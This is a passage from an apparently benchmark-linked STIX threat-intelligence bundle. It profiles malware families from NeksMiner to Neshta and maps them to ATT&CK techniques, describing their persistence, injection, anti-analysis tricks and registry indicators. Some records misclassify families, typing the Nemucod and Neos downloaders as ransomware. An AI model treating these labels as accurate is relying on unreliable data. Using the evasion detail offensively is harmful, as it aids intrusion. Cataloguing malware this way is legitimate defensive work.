      "description": "NeksMiner (cataloged across security intelligence feeds under signatures including Trojan:Win32/NeksMiner, CoinMiner:Win32/NeksMiner, and Trojan.NeksMiner) is a covert cryptocurrency mining trojan active since 2017. Distributed through trojanized software keygens, cracked game repacks, and malicious torrent archives, NeksMiner stealthily hijacks host CPU and GPU resources to mine privacy-centric cryptocurrencies such as Monero (XMR). Upon infection, NeksMiner injects open-source XMRig mining payloads into legitimate Windows processes (such as svchost.exe or conhost.exe) or executes hidden background services. It actively monitors for Windows Task Manager, Process Hacker, and Process Explorer, instantly throttling or terminating mining threads when analysis tools are launched to avoid user detection, before resuming full mining operations once monitoring utilities are closed. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "cryptominer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/NeksMiner",
        "CoinMiner:Win32/NeksMiner",
        "Trojan.NeksMiner",
        "Win32/NeksMiner",
        "CoinMiner:Win32/NeksMiner.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Neksminer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/neksminer"
        }
      ],
      "labels": [
        "cryptominer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--69a8219e-89d7-55e0-9550-c1387516e8aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nemesis",
      "description": "Nemesis (extensively analyzed by Mandiant and FireEye research teams, with its primary bootkit component dubbed BOOTRASH) is an advanced, targeted malware ecosystem and sub-OS bootkit active since 2015. Developed and operated by the financially motivated threat actor group FIN1, Nemesis was engineered to compromise point-of-sale (POS) environments, payment card processing networks, and banking institutions to steal payment data and corporate credentials. What distinguishes Nemesis as an elite persistent threat is its integration of the BOOTRASH bootkit utility: BOOTRASH modifies the Windows Volume Boot Record (VBR) or Master Boot Record (MBR), allowing the malware to execute low-level code before the Windows operating system kernel boots. By executing in the pre-boot environment outside the standard file system, Nemesis completely bypasses operating system security controls, integrity verification, and endpoint detection and response (EDR) sensors. Even complete hard drive reformatting and operating system reinstallation fails to eradicate Nemesis if the underlying boot sectors are not sanitized. The post-boot user-mode components provide attackers with keylogging, screen capture, process injection, and persistent interactive backdoors. (Observed samples in benchmark: 103)",
      "is_family": true,
      "malware_types": [
        "rootkit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BOOTRASH",
        "Nemesis Bootkit",
        "Backdoor:Win32/Nemesis",
        "Trojan.Nemesis",
        "FIN1 Nemesis Suite"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nemesis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nemesis"
        }
      ],
      "labels": [
        "bootkit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ff8a4ec-0b59-5b3e-a806-bae5dbe92116",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69a8219e-89d7-55e0-9550-c1387516e8aa",
      "target_ref": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemesis exhibits technique T1542.003 (Pre-OS Boot: Bootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a063b3e-cba3-5a75-988a-579a426f18dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69a8219e-89d7-55e0-9550-c1387516e8aa",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemesis exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21798da3-2281-5ec5-8ccb-651184afa6df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69a8219e-89d7-55e0-9550-c1387516e8aa",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemesis exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e39b24de-1708-5ea2-8042-5199df30e2ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69a8219e-89d7-55e0-9550-c1387516e8aa",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemesis exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a9c4b9b-8a7f-573c-86bb-101eaa544666",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69a8219e-89d7-55e0-9550-c1387516e8aa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemesis exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--340de3ca-30ad-5283-b27c-f7901ff4f677",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69a8219e-89d7-55e0-9550-c1387516e8aa",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemesis exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--556f2595-78b0-5da4-b0f7-15d20c85d7f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nemucod",
      "description": "TrojanDownloader:JS/Nemucod (or VBS/Nemucod) is one of the most prolific and historically significant malware downloaders. Primarily distributed via massive spam campaigns, Nemucod arrives as a tiny, heavily obfuscated JavaScript (`.js`) or VBScript (`.vbs`) file hidden inside a ZIP archive. Its sole purpose is to execute via the Windows Script Host (`wscript.exe`), silently connect to a compromised website, and download a catastrophic secondary payload\u2014most famously, ransomware families like Locky, Cerber, or TeslaCrypt (`T1105`).<br><br><b>Understanding Nemucod (Script Downloaders)</b><br>To an end-user, they receive a fake invoice or shipping notification, extract the ZIP, double-click the seemingly harmless file, and see nothing happen. Minutes later, their files are encrypted. For a security team, Nemucod represents the danger of allowing script execution from user directories. It is an 'Initial Access Broker' that paves the way for total data loss.<br><br><b>Execution and Dropper Mechanics</b><br>The infection chain relies on social engineering (`T1566.001`) to trick the user into extracting and running the script. Because Windows associates `.js` and `.vbs` files with `wscript.exe` by default, double-clicking them executes the code (`T1059.007`). The script itself is heavily obfuscated (using string concatenation, random variables, and encoding) to evade static email filters (`T1027`). Once running, it uses COM objects (like `MSXML2.XMLHTTP`) to download the secondary payload (usually an `.exe` or a `.dll`) to the `%Temp%` folder, and then executes it.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is almost always a severe secondary infection (Ransomware or Banking Trojans). Host-based IoCs include EDR alerts for `wscript.exe` or `cscript.exe` executing from within zip archives or `%Temp%` directories, and `wscript.exe` spawning unexpected child processes (like `cmd.exe` or dropping unknown executables). Network IoCs involve the `wscript.exe` process making outbound HTTP GET requests to compromised WordPress sites or unknown domains to fetch the payload. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nemucod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nemucod"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa9cc3c1-0d2e-5d90-979b-8e851807d965",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--556f2595-78b0-5da4-b0f7-15d20c85d7f8",
      "target_ref": "attack-pattern--2caddcbb-f229-5c99-91b2-96570cfd24fa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemucod exhibits technique T1059.007 (Command and Scripting Interpreter: JavaScript/JScript (Executing the obfuscated downloader payload via WScript))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d489a68e-b235-5c94-b072-a89f426179ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--556f2595-78b0-5da4-b0f7-15d20c85d7f8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemucod exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary payload, such as Locky ransomware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da6db2a8-bde5-59ee-ac52-35c3d066aeed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--556f2595-78b0-5da4-b0f7-15d20c85d7f8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemucod exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution method via ZIP files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b75ce371-5f86-5375-b88a-19a8a13cc4a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--556f2595-78b0-5da4-b0f7-15d20c85d7f8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nemucod exhibits technique T1027 (Obfuscated Files or Information (Heavy obfuscation of the script to bypass email gateways))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--509d401a-6aa3-572c-b375-fb7b548d0b5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Neobar",
      "description": "Neobar (identified across endpoint security vendors as BrowserModifier:Win32/Neobar, Adware:Win32/Neobar, and PUA:Win32/Neobar) is an aggressive browser modifier and adware toolbar framework. Distributed through deceptive software bundlers, free utility repacks, and download wrappers, Neobar embeds itself into web browsers including Internet Explorer, Google Chrome, and Mozilla Firefox. Upon installation, it forcibly alters browser default search settings, start pages, and error pages, redirecting user queries to monetization portals and affiliate search engines. Neobar injects sponsored links, commercial banner advertisements, and unexpected promotional pop-ups into visited web pages. It establishes persistent startup registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and registers background scheduled updater tasks, continuously transmitting browsing history telemetry to advertising aggregators. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/Neobar",
        "Adware:Win32/Neobar",
        "PUA:Win32/Neobar",
        "Toolbar:Win32/Neobar",
        "Win32/Neobar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Neobar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/neobar"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3369284d-fa84-525d-9881-51f53a9158e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--509d401a-6aa3-572c-b375-fb7b548d0b5d",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neobar exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc843dd7-e450-59f8-a031-3244f08a41ae",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--509d401a-6aa3-572c-b375-fb7b548d0b5d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neobar exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d37679f-dfaa-53da-a1ac-2d8d90eb48d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--509d401a-6aa3-572c-b375-fb7b548d0b5d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neobar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--089a10f7-8fe2-501d-a471-7e26ed88f04e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--509d401a-6aa3-572c-b375-fb7b548d0b5d",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neobar exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e03c1464-32b8-5e4a-aedb-3473195d3b82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--509d401a-6aa3-572c-b375-fb7b548d0b5d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neobar exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d429912b-e3bd-5f8e-bc02-6cd0024838f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Neoreklami",
      "description": "Neoreklami (cataloged by security vendors under detections including Adware:Win32/Neoreklami, Adware.Neoreklami, and Program:Win32/Neoreklami) is an aggressive adware and Potentially Unwanted Program (PUP) family active since 2014. Distributed primarily through Pay-Per-Install (PPI) monetization networks, cracked application installers, and deceptive media downloaders across Eastern European file-sharing hubs, Neoreklami is engineered to aggressively monetize infected Windows endpoints. Upon installation, the adware establishes persistent startup entries in the Windows Registry, deploys secondary watchdog background services to prevent uninstallation, and modifies desktop and Start menu browser shortcuts (.lnk) to append affiliate redirect parameters. Neoreklami forcefully installs unauthorized extensions and helper objects into Google Chrome, Mozilla Firefox, and Internet Explorer, injecting banner advertisements, pop-ups, and in-text hyperlinks into visited websites while redirecting search queries through monetization portals. The adware also conducts background system telemetry collection, transmitting user browsing habits to remote marketing and affiliate servers. (Observed samples in benchmark: 170)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Neoreklami",
        "Adware.Neoreklami",
        "Program:Win32/Neoreklami",
        "Trojan.Win32.Neoreklami",
        "PUA.Neoreklami"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Neoreklami",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/neoreklami"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bea0c33-c06c-5ffd-bbfa-259f368e62ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d429912b-e3bd-5f8e-bc02-6cd0024838f9",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neoreklami exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07130938-161e-52f5-aa50-ee3dc1d01e4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d429912b-e3bd-5f8e-bc02-6cd0024838f9",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neoreklami exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adc4b641-f0de-5211-8ba6-94dc4c62f41b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d429912b-e3bd-5f8e-bc02-6cd0024838f9",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neoreklami exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--997c2fd9-4e47-5c86-b177-3f677e7fd085",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d429912b-e3bd-5f8e-bc02-6cd0024838f9",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neoreklami exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7104b626-1028-5891-b4a6-d3d2474f3a58",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d429912b-e3bd-5f8e-bc02-6cd0024838f9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neoreklami exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5ec94d0a-b6bf-5b63-8807-b2c7bfe825ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Neos",
      "description": "Trojan:Win32/Neos is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Neos</b><br>To an end-user, a Neos infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Neos is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Neos is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Neos frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Neos reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Neos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/neos"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f48adb18-3d72-5018-8825-913d9de9a90c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ec94d0a-b6bf-5b63-8807-b2c7bfe825ef",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neos exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc76c98c-250a-5961-aec8-68194d124b4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ec94d0a-b6bf-5b63-8807-b2c7bfe825ef",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neos exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7c2aa5e-e9f1-5a5e-b47a-00faf7e21548",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ec94d0a-b6bf-5b63-8807-b2c7bfe825ef",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neos exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--327c1a21-936a-5923-a80d-303880c94614",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ec94d0a-b6bf-5b63-8807-b2c7bfe825ef",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neos exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cf9b350-83d7-5b18-b161-c6d2c872c37e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5ec94d0a-b6bf-5b63-8807-b2c7bfe825ef",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neos exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--41f5264d-576a-5b15-bea7-3212d3a97826",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Neshta",
      "description": "Neshta (cataloged across cybersecurity authorities as Virus:Win32/Neshta.A, Virus.Win32.Neshta, and Win32/Neshta) is one of the most prolific, long-standing, and disruptive polymorphic parasitic file infectors in cyber threat history. Originally written in Delphi in Belarus in 2003, Neshta infects local fixed drives and removable media by prepending its ~41,472-byte viral code to Windows 32-bit portable executable (.EXE) host files. Crucially, Neshta establishes deep operating system persistence by forcefully modifying the Windows registry command association for all executable files: it alters HKCR\\exefile\\shell\\open\\command to '%SystemRoot%\\svchost.com \"%1\" %*'. Consequently, every time any user or system program attempts to execute any .EXE file, the infected Neshta binary runs first, scans storage drives for uninfected executables, infects them, and only then executes the original host program from a decrypted temporary file. (Observed samples in benchmark: 443)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Neshta.A",
        "Virus.Win32.Neshta",
        "Win32/Neshta",
        "W32.Neshta.A",
        "Virus:Win32/Neshta"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Neshta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/neshta"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e625f1d1-c92e-5052-a1c5-96e37f2c5f0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41f5264d-576a-5b15-bea7-3212d3a97826",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neshta exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6452c040-2a3b-585b-b3df-af67f436942b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41f5264d-576a-5b15-bea7-3212d3a97826",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neshta exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83341aa1-71ea-5013-9927-b612ec691915",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41f5264d-576a-5b15-bea7-3212d3a97826",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neshta exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--983b0e87-a96d-531a-9f84-9c44eb3f98b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41f5264d-576a-5b15-bea7-3212d3a97826",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neshta exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcddbad4-aa6c-5f78-86ca-c69c82b078c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--41f5264d-576a-5b15-bea7-3212d3a97826",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Neshta exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--96a917c4-dbaf-57dd-87ac-0f187ebde19e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Netbus",
